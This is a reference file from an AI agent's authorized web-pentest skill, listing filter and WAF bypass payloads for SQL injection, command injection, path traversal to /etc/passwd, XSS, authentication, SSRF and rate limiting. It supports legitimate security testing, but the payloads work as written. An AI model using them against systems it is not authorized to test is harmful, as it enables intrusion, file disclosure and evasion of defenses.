hermes-agent/optional-skills/security/web-pentest/references/bypass-techniques.md
Teknium 263e008d6b
feat(skills): add web-pentest optional skill (#32265)
Adds optional-skills/security/web-pentest/ — an authorized web app
penetration testing skill adapted from Shannon's methodology (concepts
only; AGPL-clean fresh implementation).

Phased: recon (read-only) → vuln analysis (delegate_task per OWASP
class) → proof-based exploitation → report.

Guardrails baked in:
- Authorization gate before first active scan (templates/authorization.md)
- Scope allowlist (scope.txt) consulted by recon-scan.sh and
  documented as the rule for every active request
- Aux-client leakage warning (compression + title gen replay history;
  payloads/creds must not enter chat verbatim)
- Bypass-exhaustion discipline before false-positive classification
- L3/L4 (proof-required) for reportable findings; L1/L2 listed as
  candidates only

Closes #400. Supersedes #21845 (plugin-shaped proposal; skill-shaped is
cheaper and matches the existing optional-skills/security/ pattern).
2026-05-25 14:51:41 -07:00

4.5 KiB
Raw Blame History

Bypass Techniques

Common filter/WAF bypasses. Used during the bypass-exhaustion phase before classifying a finding as false positive.

A finding may only be marked false_positive AFTER the relevant bypass set has been exhausted and the witnesses still fail.

SQL Injection Bypasses

When ' is filtered/escaped:

  • Numeric injection: drop the quote, use 1 OR 1=1
  • Different quote: " instead of '
  • Comment-based: 1/**/OR/**/1=1
  • Hex literal: 0x61646d696e for admin
  • CHAR(65,66) for AB
  • Case variation: OoRr (often stripped to OR)
  • Inline comments: O/**/R
  • Null byte: ' %00 OR '1=1
  • Double URL encoding: %2527 for '
  • Multi-byte: %bf%27 (works against some single-byte unescape)

Command Injection Bypasses

When semicolons filtered:

  • Newline: %0Asleep 5
  • Carriage return: %0Dsleep 5
  • Pipe: |sleep 5, ||sleep 5
  • Background: &sleep 5, &&sleep 5
  • Substitution: $(sleep 5), `sleep 5`
  • Globbing: /???/?l??p 5 for /bin/sleep 5
  • IFS for spaces: sleep${IFS}5, sleep$IFS$95
  • Quote evasion: s""leep 5, s'l'eep 5
  • Variable: a=sl;b=eep;${a}${b} 5
  • Encoding: bash<<<$(base64 -d <<< c2xlZXAgNQo=)

Path Traversal Bypasses

When ../ filtered:

  • URL-encoded: %2e%2e%2f
  • Double URL-encoded: %252e%252e%252f
  • Unicode: %c0%ae%c0%ae%c0%af, %uff0e%uff0e%u2215
  • Mixed: ..%2f, %2e./
  • Null byte (older platforms): ../../../etc/passwd%00.png
  • Backslash on Windows: ..\..\..\windows\win.ini
  • Absolute path: /etc/passwd (skips traversal entirely)

When base dir is prepended (/var/www/uploads/${v}):

  • The traversal still works if realpath not enforced
  • Try ending the path early: ../../etc/passwd%00

XSS Bypasses

When <script> blocked:

  • <img src=x onerror=...>
  • <svg/onload=...>
  • <iframe srcdoc="...">
  • <details ontoggle=...> (HTML5)
  • <video><source onerror=...>
  • <input autofocus onfocus=...>

When parens filtered:

  • Template literals: onerror=alert\1``
  • onerror=eval('alert(1)')onerror=eval(name) + set window.name from attacker page

When event handlers stripped:

  • <a href="javascript:alert(1)"> (often still works)
  • <form action="javascript:alert(1)"><input type=submit>
  • SVG: <svg><animate attributeName=href values=javascript:alert(1) ...>

When alert filtered:

  • confirm(1), prompt(1), print()
  • top.alert(1), self['ale'+'rt'](1)
  • window['ale\u0072t'](1) (unicode in property access)
  • Function("alert(1)")()

CSP bypasses (require CSP misconfig):

  • unsafe-inline allows everything
  • unsafe-eval allows eval/Function
  • Wildcard sources (*.googleapis.com) — angular/jsonp gadgets
  • 'strict-dynamic' without nonce/hash on inline → still blocked but external scripts allowed via trusted loader
  • Old CSP without default-src/script-src → only blocks listed

Authentication Bypasses

  • HTTP verb tampering: GET /admin blocked → try POST, PUT, OPTIONS
  • Path normalization: /admin/ blocked → try /admin, /admin/., /admin/x/.., //admin, /%2e/admin, /Admin (case)
  • Header injection: X-Original-URL: /admin, X-Forwarded-For: 127.0.0.1, X-Real-IP: 127.0.0.1, X-Forwarded-Proto: https
  • Trailing chars: /admin#, /admin?, /admin/, /admin.json, /admin..;/, /admin/..;/
  • Method confusion via X-HTTP-Method-Override: GET

SSRF Bypasses

When 127.0.0.1 blocked:

  • IPv6 loopback: [::1], [0:0:0:0:0:0:0:1]
  • Decimal IP: 2130706433 for 127.0.0.1
  • Hex IP: 0x7f000001
  • Octal: 0177.0.0.1
  • Short form: 127.1, 0.0.0.0, 0
  • DNS rebinding: control a DNS server, return 127.0.0.1 on second resolution (TTL=0)
  • DNS records that resolve to internal IPs: localtest.me (127.0.0.1)
  • URL parsing differentials: http://allowed-host@127.0.0.1, http://127.0.0.1#@allowed-host
  • IDN homograph: http://1001 (fullwidth dots)

When schemes blocked:

  • gopher://, dict://, file://, ftp://
  • data: (for content-type bypass)
  • jar: (Java)

Rate Limit Bypasses

  • Header rotation: X-Forwarded-For, X-Real-IP, X-Originating-IP, X-Client-IP, X-Cluster-Client-IP, Forwarded
  • Case: X-FORWARDED-FOR
  • User-Agent variation
  • Different endpoint that hits same handler

Bypass Discipline

For each bypass attempt:

  1. Note WHAT you tried and WHY it might work (in your evidence log)
  2. Capture the response
  3. If still blocked, move to the next item in the bypass set
  4. Only after the documented bypass set is exhausted do you write verdict: false_positive with reason "bypass set exhausted; defense appears effective for this slot type."